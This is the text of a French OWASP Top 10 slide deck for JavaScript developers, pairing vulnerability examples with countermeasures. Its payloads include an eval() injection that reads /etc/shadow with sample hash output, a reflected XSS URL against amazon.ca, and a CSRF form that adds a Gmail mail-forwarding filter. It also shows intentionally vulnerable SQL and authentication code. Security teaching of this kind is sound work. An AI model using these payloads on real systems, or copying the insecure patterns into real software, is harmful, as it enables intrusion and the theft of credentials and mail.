2013 02-27-owasp top10 javascript
-
Upload
sebastien-gioria -
Category
Technology
-
view
1.468 -
download
0
Transcript of 2013 02-27-owasp top10 javascript
OWASP Top 10 2010 pour le développeur JavaScript
Sébas;en GioriaOWASP France Leader -‐ OWASP Global Educa;on CommiDeeConfoo.ca -‐ 27 Février 2013 -‐ Montréal -‐ Canada
Saturday, March 2, 13
http://www.google.fr/#q=sebastien gioria
‣OWASP France Leader & Founder - Evangéliste
‣OWASP Global Education Comittee Member ([email protected])
‣Consultant Indépendant en Sécurité Applicative
Twitter :@SPoint
2Saturday, March 2, 13
O-‐ou-‐a-‐ss-‐pe?
• OWASP = Open Web Applica6on Security Project–Il y a le mot “web” mais en fait …
• Mission:–Global, ouvert, non lucra6f, indépendant.
• Communauté OWASP:–30,000 abonnés aux listes de diffusion –200 sec6ons régionales ac6ves dans 70 pays–1’600 membres officiels, 56 entreprises partenaires–69 ins6tu6ons académiques
Saturday, March 2, 13
OWASP Canada
• Sec6ons OWASP au Canada:–Alberta: Edmonton & Lethbridge–Bri6sh Columbia: Okanagan & Vancouver–Manitoba: Winnipeg–New Brunswick: New Brunswick–Ontario: Niagara, Toronto–Quebec: Montréal, Obawa, Quebec city
Saturday, March 2, 13
5
Saturday, March 2, 13
Que se passe-‐t-‐il ?
6
var http = require('http');http.createServer(function (request, response) { if (request.method === 'POST') {! var data = '';! request.addListener('data', function(chunk) { data += chunk; });! request.addListener('end', function() {! var stockQuery = eval("(" + data + ")");! var price = getStockPrice(stockQuery.symbol);! ...});
Saturday, March 2, 13
Que se passe-‐t-‐il ?
6
var http = require('http');http.createServer(function (request, response) { if (request.method === 'POST') {! var data = '';! request.addListener('data', function(chunk) { data += chunk; });! request.addListener('end', function() {! var stockQuery = eval("(" + data + ")");! var price = getStockPrice(stockQuery.symbol);! ...});
Saturday, March 2, 13
Que se passe-‐t-‐il ?
6
var http = require('http');http.createServer(function (request, response) { if (request.method === 'POST') {! var data = '';! request.addListener('data', function(chunk) { data += chunk; });! request.addListener('end', function() {! var stockQuery = eval("(" + data + ")");! var price = getStockPrice(stockQuery.symbol);! ...});
var fs = require('fs');return fs.readFileSync('/etc/shadow');
Saturday, March 2, 13
Que se passe-‐t-‐il ?
6
var http = require('http');http.createServer(function (request, response) { if (request.method === 'POST') {! var data = '';! request.addListener('data', function(chunk) { data += chunk; });! request.addListener('end', function() {! var stockQuery = eval("(" + data + ")");! var price = getStockPrice(stockQuery.symbol);! ...});
var fs = require('fs');return fs.readFileSync('/etc/shadow');
Saturday, March 2, 13
Que se passe-‐t-‐il ?
6
var http = require('http');http.createServer(function (request, response) { if (request.method === 'POST') {! var data = '';! request.addListener('data', function(chunk) { data += chunk; });! request.addListener('end', function() {! var stockQuery = eval("(" + data + ")");! var price = getStockPrice(stockQuery.symbol);! ...});
var fs = require('fs');return fs.readFileSync('/etc/shadow');
root:$6$enEZGERdwP$hN4bR9BJd7JVQ/OKDF354DFfdg’DFG.4.OKs2HE/BD7qqQPWpvFe5TCJeblSUKZFswLq0P0:15293:0:99999:7:::daemon:*:14743:0:99999:7:::bin:*:14743:0:99999:7:::sys:*:14743:0:99999:7:::spoint:$6$454FDfd$fBXQtwOtNQ71OEMj78uxidxLthoedggioerjgoeirg34FDVDFVoqv9ulQ1W2At6MFT0/1VfAAb6G.lFr.qYhSMaMnz1:15293:0:99999:7:::landscape:*:15293:0:99999:7:::bind:*:15293:0:99999:7:::ntpd:*:15293:0:99999:7:::sshd:*:15293:0:99999:7:::mysql:!:15350:0:99999:7:::
Saturday, March 2, 13
Que se passe-‐t-‐il ?
6
var http = require('http');http.createServer(function (request, response) { if (request.method === 'POST') {! var data = '';! request.addListener('data', function(chunk) { data += chunk; });! request.addListener('end', function() {! var stockQuery = eval("(" + data + ")");! var price = getStockPrice(stockQuery.symbol);! ...});
Saturday, March 2, 13
Que se passe-‐t-‐il
7
app.post('/login', function(req, res){ client.query('SELECT * FROM users WHERE username="' + req.body.login + '" AND password="' +
Hash.sha1(req.body.password) + '"', function (err, results, fields) { if (err) { throw err; } if (results[0]) { req.session.userInfo = results[0]; req.session.is_logged_in = true; res.render('site/start', { title: 'News' }); } else { res.redirect('/'); } } );});
Saturday, March 2, 13
8
Saturday, March 2, 13
8
Saturday, March 2, 13
8
Saturday, March 2, 13
8
Saturday, March 2, 13
8
Saturday, March 2, 13
8
Saturday, March 2, 13
8
Saturday, March 2, 13
8
Saturday, March 2, 13
Contre-‐mesure
9
★Valider les données
★Utiliser les mécanismes des requêtes paramétrées quand elles sont disponibles
★Minimiser les privilèges des utilisateurs
★Input validation Cheat Sheet :
★https://www.owasp.org/index.php/Input_Validation_Cheat_Sheet
client.query('SELECT * FROM users WHERE username=?', [username], ...)
Saturday, March 2, 13
hDp://www.owasp.org/index.php/Top_10
A1: Injec;on A2: Cross Site Scrip;ng (XSS)
A3: Mauvaise ges;on des sessions et de l’authen;fica;on
A4:Référence directe non sécurisée à un objet
A5: Cross Site Request Forgery (CSRF)
A6: Mauvaise configura;on sécurité
A8: Mauvaise restric;on d’accès à une URL
A10: Redirec;ons et transferts non validés
A7: Mauvais stockage cryptographique
A9: Protec;on insuffisante lors du transport des données
Saturday, March 2, 13
hDp://www.owasp.org/index.php/Top_10
A1: Injec;on A2: Cross Site Scrip;ng (XSS)
A3: Mauvaise ges;on des sessions et de l’authen;fica;on
A4:Référence directe non sécurisée à un objet
A5: Cross Site Request Forgery (CSRF)
A6: Mauvaise configura;on sécurité
A8: Mauvaise restric;on d’accès à une URL
A10: Redirec;ons et transferts non validés
A7: Mauvais stockage cryptographique
A9: Protec;on insuffisante lors du transport des données
Saturday, March 2, 13
hDp://www.owasp.org/index.php/Top_10
A1: Injec;on A2: Cross Site Scrip;ng (XSS)
A3: Mauvaise ges;on des sessions et de l’authen;fica;on
A4:Référence directe non sécurisée à un objet
A5: Cross Site Request Forgery (CSRF)
A6: Mauvaise configura;on sécurité
A8: Mauvaise restric;on d’accès à une URL
A10: Redirec;ons et transferts non validés
A7: Mauvais stockage cryptographique
A9: Protec;on insuffisante lors du transport des données
Saturday, March 2, 13
11
Saturday, March 2, 13
12
<script>var url = window.location.href;var pos = url.indexOf("field-author=") + 6;var len = url.length;var title_string = url.substring(pos,len);document.write(unescape(title_string));</script>
http://www.amazon.ca/s?ie=UTF8&search-type=ss&index=books-ca&field-author=%22%3E%3Cscript%3Ealert(%22XSS%20BY%20Fugitif%22)%3C/script%3E
Saturday, March 2, 13
12
<script>var url = window.location.href;var pos = url.indexOf("field-author=") + 6;var len = url.length;var title_string = url.substring(pos,len);document.write(unescape(title_string));</script>
http://www.amazon.ca/s?ie=UTF8&search-type=ss&index=books-ca&field-author=%22%3E%3Cscript%3Ealert(%22XSS%20BY%20Fugitif%22)%3C/script%3E
Saturday, March 2, 13
13
Saturday, March 2, 13
Contre-‐Mesures
★Valider les données★Encoder les données de sor6e★OWASP XSS Cheat Sheet★hbps://www.owasp.org/index.php/
XSS_(Cross_Site_Scrip6ng)_Preven6on_Cheat_Sheet
14
Saturday, March 2, 13
hDp://www.owasp.org/index.php/Top_10
A1: Injec;on A2: Cross Site Scrip;ng (XSS)
A3: Mauvaise ges;on des sessions et de l’authen;fica;on
A4:Référence directe non sécurisée à un objet
A5: Cross Site Request Forgery (CSRF)
A6: Mauvaise configura;on sécurité
A8: Mauvaise restric;on d’accès à une URL
A10: Redirec;ons et transferts non validés
A7: Mauvais stockage cryptographique
A9: Protec;on insuffisante lors du transport des données
Saturday, March 2, 13
hDp://www.owasp.org/index.php/Top_10
A1: Injec;on A2: Cross Site Scrip;ng (XSS)
A3: Mauvaise ges;on des sessions et de l’authen;fica;on
A4:Référence directe non sécurisée à un objet
A5: Cross Site Request Forgery (CSRF)
A6: Mauvaise configura;on sécurité
A8: Mauvaise restric;on d’accès à une URL
A10: Redirec;ons et transferts non validés
A7: Mauvais stockage cryptographique
A9: Protec;on insuffisante lors du transport des données
Saturday, March 2, 13
hDp://www.owasp.org/index.php/Top_10
A1: Injec;on A2: Cross Site Scrip;ng (XSS)
A3: Mauvaise ges;on des sessions et de l’authen;fica;on
A4:Référence directe non sécurisée à un objet
A5: Cross Site Request Forgery (CSRF)
A6: Mauvaise configura;on sécurité
A8: Mauvaise restric;on d’accès à une URL
A10: Redirec;ons et transferts non validés
A7: Mauvais stockage cryptographique
A9: Protec;on insuffisante lors du transport des données
Saturday, March 2, 13
Saturday, March 2, 13
17
Saturday, March 2, 13
17
var users = [{nom: "tom", prenom: "cat", adresse:{rue:"avenue victor hugo", num: "18", cp:"06000", ville:"NICE", login:"tom", pass: "4tom"}},{nom: "you", prenom: "tube", adresse:{rue:"rue delille", num: "23", cp:"75000", ville:"PARIS", login:"java", pass: "you"}},{nom: "rain", prenom: "bow", adresse:{rue:"impasse toulouse lautrec", num: "5", cp:"77500", ville:"CHELLES", login:"snow", pass: "cat"}}];
Saturday, March 2, 13
17
var users = [{nom: "tom", prenom: "cat", adresse:{rue:"avenue victor hugo", num: "18", cp:"06000", ville:"NICE", login:"tom", pass: "4tom"}},{nom: "you", prenom: "tube", adresse:{rue:"rue delille", num: "23", cp:"75000", ville:"PARIS", login:"java", pass: "you"}},{nom: "rain", prenom: "bow", adresse:{rue:"impasse toulouse lautrec", num: "5", cp:"77500", ville:"CHELLES", login:"snow", pass: "cat"}}];
function authenticate(user, passwd) {authentifie = false ;for(iu in users){
if(users[iu].login == user && users[iu].pass == pass){authentifie = true ; break;
}}
}
Saturday, March 2, 13
17
Saturday, March 2, 13
Contre-‐Mesure
★Ne pas mebre d’authen6fica6on coté client★Ne jamais mebre d’ID de session dans l’URL★U6liser des générateurs d’ID de session sur (pas le sien !)★Longueur suffisante★Aléa suffisant
★Chiffrer le transport de l’ID de session => TLS/SSL★Regénérer des ID de session apres le login et le logout
18
Saturday, March 2, 13
hDp://www.owasp.org/index.php/Top_10
A1: Injec;on A2: Cross Site Scrip;ng (XSS)
A3: Mauvaise ges;on des sessions et de l’authen;fica;on
A4:Référence directe non sécurisée à un objet
A5: Cross Site Request Forgery (CSRF)
A6: Mauvaise configura;on sécurité
A8: Mauvaise restric;on d’accès à une URL
A10: Redirec;ons et transferts non validés
A7: Mauvais stockage cryptographique
A9: Protec;on insuffisante lors du transport des données
Saturday, March 2, 13
hDp://www.owasp.org/index.php/Top_10
A1: Injec;on A2: Cross Site Scrip;ng (XSS)
A3: Mauvaise ges;on des sessions et de l’authen;fica;on
A4:Référence directe non sécurisée à un objet
A5: Cross Site Request Forgery (CSRF)
A6: Mauvaise configura;on sécurité
A8: Mauvaise restric;on d’accès à une URL
A10: Redirec;ons et transferts non validés
A7: Mauvais stockage cryptographique
A9: Protec;on insuffisante lors du transport des données
Saturday, March 2, 13
hDp://www.owasp.org/index.php/Top_10
A1: Injec;on A2: Cross Site Scrip;ng (XSS)
A3: Mauvaise ges;on des sessions et de l’authen;fica;on
A4:Référence directe non sécurisée à un objet
A5: Cross Site Request Forgery (CSRF)
A6: Mauvaise configura;on sécurité
A8: Mauvaise restric;on d’accès à une URL
A10: Redirec;ons et transferts non validés
A7: Mauvais stockage cryptographique
A9: Protec;on insuffisante lors du transport des données
Saturday, March 2, 13
20
Saturday, March 2, 13
20
Saturday, March 2, 13
20
{"d":{"__type":"Customer:#Web","Address":"3 Childers St","CustomerID":3,"Email":"[email protected]","FirstName":"Bruce","Postcode":"3000","State":"VIC","Suburb":"Melbourne"}}
Saturday, March 2, 13
21
Saturday, March 2, 13
21
Saturday, March 2, 13
21
{"d":{"__type":"Customer:#Web","Address":"12\/78 Burbank Lane","CustomerID":4,"Email":"[email protected]","FirstName":"Jane","Postcode":"4000","State":"QLD","Suburb":"Brisbane"}}
Saturday, March 2, 13
Contre-‐mesure
22
Web Service
Database
Mainframe
File System
User Access ReferenceMap
Etc…
Indirect Reference DirectReference
Indirect Reference Direct Reference
customerID = 1A530637289A03B07199A44E8D531427 customerID = 3
customerID = 3customerID = 1A530637289A03B07199A44E8D531427
Saturday, March 2, 13
23
Contre-‐Mesure
★Ne pas exposer de clefs de base★Mebre en place des contrôles d’accès serveurs★Mebre en place les tables de références d’accès
Saturday, March 2, 13
hDp://www.owasp.org/index.php/Top_10
A1: Injec;on A2: Cross Site Scrip;ng (XSS)
A3: Mauvaise ges;on des sessions et de l’authen;fica;on
A4:Référence directe non sécurisée à un objet
A5: Cross Site Request Forgery (CSRF)
A6: Mauvaise configura;on sécurité
A8: Mauvaise restric;on d’accès à une URL
A10: Redirec;ons et transferts non validés
A7: Mauvais stockage cryptographique
A9: Protec;on insuffisante lors du transport des données
Saturday, March 2, 13
hDp://www.owasp.org/index.php/Top_10
A1: Injec;on A2: Cross Site Scrip;ng (XSS)
A3: Mauvaise ges;on des sessions et de l’authen;fica;on
A4:Référence directe non sécurisée à un objet
A5: Cross Site Request Forgery (CSRF)
A6: Mauvaise configura;on sécurité
A8: Mauvaise restric;on d’accès à une URL
A10: Redirec;ons et transferts non validés
A7: Mauvais stockage cryptographique
A9: Protec;on insuffisante lors du transport des données
Saturday, March 2, 13
hDp://www.owasp.org/index.php/Top_10
A1: Injec;on A2: Cross Site Scrip;ng (XSS)
A3: Mauvaise ges;on des sessions et de l’authen;fica;on
A4:Référence directe non sécurisée à un objet
A5: Cross Site Request Forgery (CSRF)
A6: Mauvaise configura;on sécurité
A8: Mauvaise restric;on d’accès à une URL
A10: Redirec;ons et transferts non validés
A7: Mauvais stockage cryptographique
A9: Protec;on insuffisante lors du transport des données
Saturday, March 2, 13
25
Saturday, March 2, 13
261 -‐ On se loggue sur GMAIL
Saturday, March 2, 13
27
Bien noter les filtres existants
Saturday, March 2, 13
28
2 -‐ On accede à un site Web contenant le code suivant :
Saturday, March 2, 13
28
<form method="POST" action="https://mail.google.com/mail/h/ewt1jmuj4ddv/?v=prf" enctype="multipart/form-data"> ! <input type="hidden" name="cf2_emc" value="true"/> ! <input type="hidden" name="cf2_email" value="[email protected]"/> ! <input type="hidden" name="cf1_from" value="[email protected]"/> ! <input type="hidden" name="cf1_to" value=""/> ! <input type="hidden" name="cf1_subj" value=""/> ! <input type="hidden" name="cf1_has" value=""/> ! <input type="hidden" name="cf1_hasnot" value=""/> ! <input type="hidden" name="cf1_attach" value="true"/> ! <input type="hidden" name="tfi" value=""/> ! <input type="hidden" name="s" value="z"/> ! <input type="hidden" name="irf" value="on"/> ! <input type="hidden" name="nvp_bu_cftb" value="Create Filter"/> </form> <script> ! document.forms[0].submit();</script>
2 -‐ On accede à un site Web contenant le code suivant :
Saturday, March 2, 13
29
3 -‐ Le filtre est rajouté
Saturday, March 2, 13
Contre-‐Mesures
30
★Préferer POST a GET★Supprimer toutes les XSS★Mebre des sessions avec expira6on très faible★Rajouter des tokens aléatoires dans les requetes
Saturday, March 2, 13
hDp://www.owasp.org/index.php/Top_10
A1: Injec;on A2: Cross Site Scrip;ng (XSS)
A3: Mauvaise ges;on des sessions et de l’authen;fica;on
A4:Référence directe non sécurisée à un objet
A5: Cross Site Request Forgery (CSRF)
A6: Mauvaise configura;on sécurité
A8: Mauvaise restric;on d’accès à une URL
A10: Redirec;ons et transferts non validés
A7: Mauvais stockage cryptographique
A9: Protec;on insuffisante lors du transport des données
Saturday, March 2, 13
hDp://www.owasp.org/index.php/Top_10
A1: Injec;on A2: Cross Site Scrip;ng (XSS)
A3: Mauvaise ges;on des sessions et de l’authen;fica;on
A4:Référence directe non sécurisée à un objet
A5: Cross Site Request Forgery (CSRF)
A6: Mauvaise configura;on sécurité
A8: Mauvaise restric;on d’accès à une URL
A10: Redirec;ons et transferts non validés
A7: Mauvais stockage cryptographique
A9: Protec;on insuffisante lors du transport des données
Saturday, March 2, 13
hDp://www.owasp.org/index.php/Top_10
A1: Injec;on A2: Cross Site Scrip;ng (XSS)
A3: Mauvaise ges;on des sessions et de l’authen;fica;on
A4:Référence directe non sécurisée à un objet
A5: Cross Site Request Forgery (CSRF)
A6: Mauvaise configura;on sécurité
A8: Mauvaise restric;on d’accès à une URL
A10: Redirec;ons et transferts non validés
A7: Mauvais stockage cryptographique
A9: Protec;on insuffisante lors du transport des données
Saturday, March 2, 13
32
www.example.com api.ckers.fr
Imposs
ible
Saturday, March 2, 13
33
www.example.com api.ckers.fr
Possible
CORS ?
Saturday, March 2, 13
33
Access-Control-Allow-From: *Access-Control-Allow-Origin: *
www.example.com api.ckers.fr
Possible
CORS ?
Saturday, March 2, 13
Contre-‐Mesure
★Toujours u6liser des ou6ls/frameworks à jour★Aben6on à la configura6on des serveurs Web★Revoir la configura6on des librairies et modules (même le plus pe6t morceau de code)
★Ne pas mebre des permissions trop “laxistes” cf •Access-Control-Allow-From•Access-Control-Allow-Origin
34
Saturday, March 2, 13
hDp://www.owasp.org/index.php/Top_10
A1: Injec;on A2: Cross Site Scrip;ng (XSS)
A3: Mauvaise ges;on des sessions et de l’authen;fica;on
A4:Référence directe non sécurisée à un objet
A5: Cross Site Request Forgery (CSRF)
A6: Mauvaise configura;on sécurité
A8: Mauvaise restric;on d’accès à une URL
A10: Redirec;ons et transferts non validés
A7: Mauvais stockage cryptographique
A9: Protec;on insuffisante lors du transport des données
Saturday, March 2, 13
hDp://www.owasp.org/index.php/Top_10
A1: Injec;on A2: Cross Site Scrip;ng (XSS)
A3: Mauvaise ges;on des sessions et de l’authen;fica;on
A4:Référence directe non sécurisée à un objet
A5: Cross Site Request Forgery (CSRF)
A6: Mauvaise configura;on sécurité
A8: Mauvaise restric;on d’accès à une URL
A10: Redirec;ons et transferts non validés
A7: Mauvais stockage cryptographique
A9: Protec;on insuffisante lors du transport des données
Saturday, March 2, 13
hDp://www.owasp.org/index.php/Top_10
A1: Injec;on A2: Cross Site Scrip;ng (XSS)
A3: Mauvaise ges;on des sessions et de l’authen;fica;on
A4:Référence directe non sécurisée à un objet
A5: Cross Site Request Forgery (CSRF)
A6: Mauvaise configura;on sécurité
A8: Mauvaise restric;on d’accès à une URL
A10: Redirec;ons et transferts non validés
A7: Mauvais stockage cryptographique
A9: Protec;on insuffisante lors du transport des données
Saturday, March 2, 13
36
Saturday, March 2, 13
★L’encodage n’apporte pas de protec6on★Plutot que de chiffrer une donnée, se poser la ques6on de l’u6lité de la stocker !
★Préférer “hasher” les données plutôt que de les chiffrer
★Ajouter des aléas (sels) différents dans le hashage★U6liser des algorithmes ‘forts’ •SHA2•AES•SHA3...
37
Saturday, March 2, 13
hDp://www.owasp.org/index.php/Top_10
A1: Injec;on A2: Cross Site Scrip;ng (XSS)
A3: Mauvaise ges;on des sessions et de l’authen;fica;on
A4:Référence directe non sécurisée à un objet
A5: Cross Site Request Forgery (CSRF)
A6: Mauvaise configura;on sécurité
A8: Mauvaise restric;on d’accès à une URL
A10: Redirec;ons et transferts non validés
A7: Mauvais stockage cryptographique
A9: Protec;on insuffisante lors du transport des données
Saturday, March 2, 13
hDp://www.owasp.org/index.php/Top_10
A1: Injec;on A2: Cross Site Scrip;ng (XSS)
A3: Mauvaise ges;on des sessions et de l’authen;fica;on
A4:Référence directe non sécurisée à un objet
A5: Cross Site Request Forgery (CSRF)
A6: Mauvaise configura;on sécurité
A8: Mauvaise restric;on d’accès à une URL
A10: Redirec;ons et transferts non validés
A7: Mauvais stockage cryptographique
A9: Protec;on insuffisante lors du transport des données
Saturday, March 2, 13
hDp://www.owasp.org/index.php/Top_10
A1: Injec;on A2: Cross Site Scrip;ng (XSS)
A3: Mauvaise ges;on des sessions et de l’authen;fica;on
A4:Référence directe non sécurisée à un objet
A5: Cross Site Request Forgery (CSRF)
A6: Mauvaise configura;on sécurité
A8: Mauvaise restric;on d’accès à une URL
A10: Redirec;ons et transferts non validés
A7: Mauvais stockage cryptographique
A9: Protec;on insuffisante lors du transport des données
Saturday, March 2, 13
39
Saturday, March 2, 13
39
Saturday, March 2, 13
39
Saturday, March 2, 13
Contre-‐Mesures
• Configurer correctement la restric6on d’accès sur les serveurs.• Empécher le lis6ng de directory du serveur.• Ajouter les bons type-‐mime.• ....
40
Saturday, March 2, 13
41
hDp://www.owasp.org/index.php/Top_10
A1: Injec;on A2: Cross Site Scrip;ng (XSS)
A3: Mauvaise ges;on des sessions et de l’authen;fica;on
A4:Référence directe non sécurisée à un objet
A5: Cross Site Request Forgery (CSRF)
A6: Mauvaise configura;on sécurité
A8: Mauvaise restric;on d’accès à une URL
A10: Redirec;ons et transferts non validés
A7: Mauvais stockage cryptographique
A9: Protec;on insuffisante lors du transport des données
Saturday, March 2, 13
41
hDp://www.owasp.org/index.php/Top_10
A1: Injec;on A2: Cross Site Scrip;ng (XSS)
A3: Mauvaise ges;on des sessions et de l’authen;fica;on
A4:Référence directe non sécurisée à un objet
A5: Cross Site Request Forgery (CSRF)
A6: Mauvaise configura;on sécurité
A8: Mauvaise restric;on d’accès à une URL
A10: Redirec;ons et transferts non validés
A7: Mauvais stockage cryptographique
A9: Protec;on insuffisante lors du transport des données
Saturday, March 2, 13
41
hDp://www.owasp.org/index.php/Top_10
A1: Injec;on A2: Cross Site Scrip;ng (XSS)
A3: Mauvaise ges;on des sessions et de l’authen;fica;on
A4:Référence directe non sécurisée à un objet
A5: Cross Site Request Forgery (CSRF)
A6: Mauvaise configura;on sécurité
A8: Mauvaise restric;on d’accès à une URL
A10: Redirec;ons et transferts non validés
A7: Mauvais stockage cryptographique
A9: Protec;on insuffisante lors du transport des données
Saturday, March 2, 13
42
Saturday, March 2, 13
43
Saturday, March 2, 13
43
Saturday, March 2, 13
Contre-‐Mesures expérimentales avec JSON
• JSON Web Encryp;on (JWE) : JSON Web Encryp6on (JWE) est un drax expliquant comment représenter un élément chiffrer via des structures de données JavaScript Object Nota6on (JSON).➡hDp://tools.iet.org/html/drau-‐iet-‐jose-‐json-‐web-‐encryp;on-‐07#page-‐23
• JSON Web Signature (JWS) : JSON Web Signature (JWS) est un drax détaillant comment représenter dans une strucutre de données JSON, du contenu u6lisant des signatures numériques ou des codes d'authen6fica6on de message (MAC).➡hDp://tools.iet.org/html/drau-‐iet-‐jose-‐json-‐web-‐signature-‐07
• JSON Web Algorithm (JWA) : JSON Web Algorithms (JWA) décrit les algorithmes, iden6fiants nécessaires pour l'u6lisa6on des futurs standars JWE, JWS et JWS.➡hDp://tools.iet.org/html/drau-‐iet-‐jose-‐json-‐web-‐algorithms
• JSON Web Key (JWK) : Une structure JSON Web Key (JWK) est une structure JavaScript Object Nota6on (JSON) représentant un clef publique. Ce drax défini aussi la manière de représenter un ensemble de structures de type JWK..➡hDp://tools.iet.org/html/drau-‐iet-‐jose-‐json-‐web-‐key-‐07
44
Saturday, March 2, 13
Contre-‐Mesures
★U6liser TLS/SSL dès que des données sensibles sont a échanger
★Mebre le flag ‘Secure’ sur les cookies importants (cookie de session par exemple)
★Ne pas mixer d’accès à du contenu HTTP depuis du contenu HTTPS
★Mebre en place une configura6on “sécurisée” de TLS/SSL (cf www.ssllabs.com)
★Voir hDp://www.owasp.org/index.php/Transport_Layer_Protec;on_Cheat_Sheet pour plus de details
45
Saturday, March 2, 13
hDp://www.owasp.org/index.php/Top_10
A1: Injec;on A2: Cross Site Scrip;ng (XSS)
A3: Mauvaise ges;on des sessions et de l’authen;fica;on
A4:Référence directe non sécurisée à un objet
A5: Cross Site Request Forgery (CSRF)
A6: Mauvaise configura;on sécurité
A8: Mauvaise restric;on d’accès à une URL
A10: Redirec;ons et transferts non validés
A7: Mauvais stockage cryptographique
A9: Protec;on insuffisante lors du transport des données
Saturday, March 2, 13
hDp://www.owasp.org/index.php/Top_10
A1: Injec;on A2: Cross Site Scrip;ng (XSS)
A3: Mauvaise ges;on des sessions et de l’authen;fica;on
A4:Référence directe non sécurisée à un objet
A5: Cross Site Request Forgery (CSRF)
A6: Mauvaise configura;on sécurité
A8: Mauvaise restric;on d’accès à une URL
A10: Redirec;ons et transferts non validés
A7: Mauvais stockage cryptographique
A9: Protec;on insuffisante lors du transport des données
Saturday, March 2, 13
hDp://www.owasp.org/index.php/Top_10
A1: Injec;on A2: Cross Site Scrip;ng (XSS)
A3: Mauvaise ges;on des sessions et de l’authen;fica;on
A4:Référence directe non sécurisée à un objet
A5: Cross Site Request Forgery (CSRF)
A6: Mauvaise configura;on sécurité
A8: Mauvaise restric;on d’accès à une URL
A10: Redirec;ons et transferts non validés
A7: Mauvais stockage cryptographique
A9: Protec;on insuffisante lors du transport des données
Saturday, March 2, 13
Saturday, March 2, 13
Contre-‐Mesures
★ Eviter au maximum les redirec6ons et les transferts
★ S’il faut absolument les intégrer, ne pas u6liser les paramètres parvenant d’un u6lisateur pour définir l’URL/fonc6on cible.
★ Si vous “devez” u6liser les paramètres u6lisateurs, • Valider chaque paramètre pour vérifier qu’il est autorisé et
valide par rapport à l’u6lisateur, ou alors • U6liser une table de correspondance serveur entre les
paramètres u6lisateurs et les pages à appeler.★ Pour les redirec6ons, valider l’URL cible après la
construc6on pour vérifier qu’elle redirige bien vers un site autorisé !
48
Saturday, March 2, 13
hDp://www.owasp.org/index.php/Top_10
A1: Injec;on A2: Cross Site Scrip;ng (XSS)
A3: Mauvaise ges;on des sessions et de l’authen;fica;on
A4:Référence directe non sécurisée à un objet
A5: Cross Site Request Forgery (CSRF)
A6: Mauvaise configura;on sécurité
A8: Mauvaise restric;on d’accès à une URL
A10: Redirec;ons et transferts non validés
A7: Mauvais stockage cryptographique
A9: Protec;on insuffisante lors du transport des données
Saturday, March 2, 13
hDp://www.owasp.org/index.php/Top_10
A1: Injec;on A2: Cross Site Scrip;ng (XSS)
A3: Mauvaise ges;on des sessions et de l’authen;fica;on
A4:Référence directe non sécurisée à un objet
A5: Cross Site Request Forgery (CSRF)
A6: Mauvaise configura;on sécurité
A8: Mauvaise restric;on d’accès à une URL
A10: Redirec;ons et transferts non validés
A7: Mauvais stockage cryptographique
A9: Protec;on insuffisante lors du transport des données
Saturday, March 2, 13
hDp://www.owasp.org/index.php/Top_10
A1: Injec;on A2: Cross Site Scrip;ng (XSS)
A3: Mauvaise ges;on des sessions et de l’authen;fica;on
A4:Référence directe non sécurisée à un objet
A5: Cross Site Request Forgery (CSRF)
A6: Mauvaise configura;on sécurité
A8: Mauvaise restric;on d’accès à une URL
A10: Redirec;ons et transferts non validés
A7: Mauvais stockage cryptographique
A9: Protec;on insuffisante lors du transport des données
Saturday, March 2, 13
• @SPoint
Vous pouvez donc vous protéger de lui maintenant...
Saturday, March 2, 13
• @SPoint
Il n'y a qu'une façon d'échouer, c'est d'abandonner avant d'avoir réussi [Olivier Lockert]
Vous pouvez donc vous protéger de lui maintenant...
Saturday, March 2, 13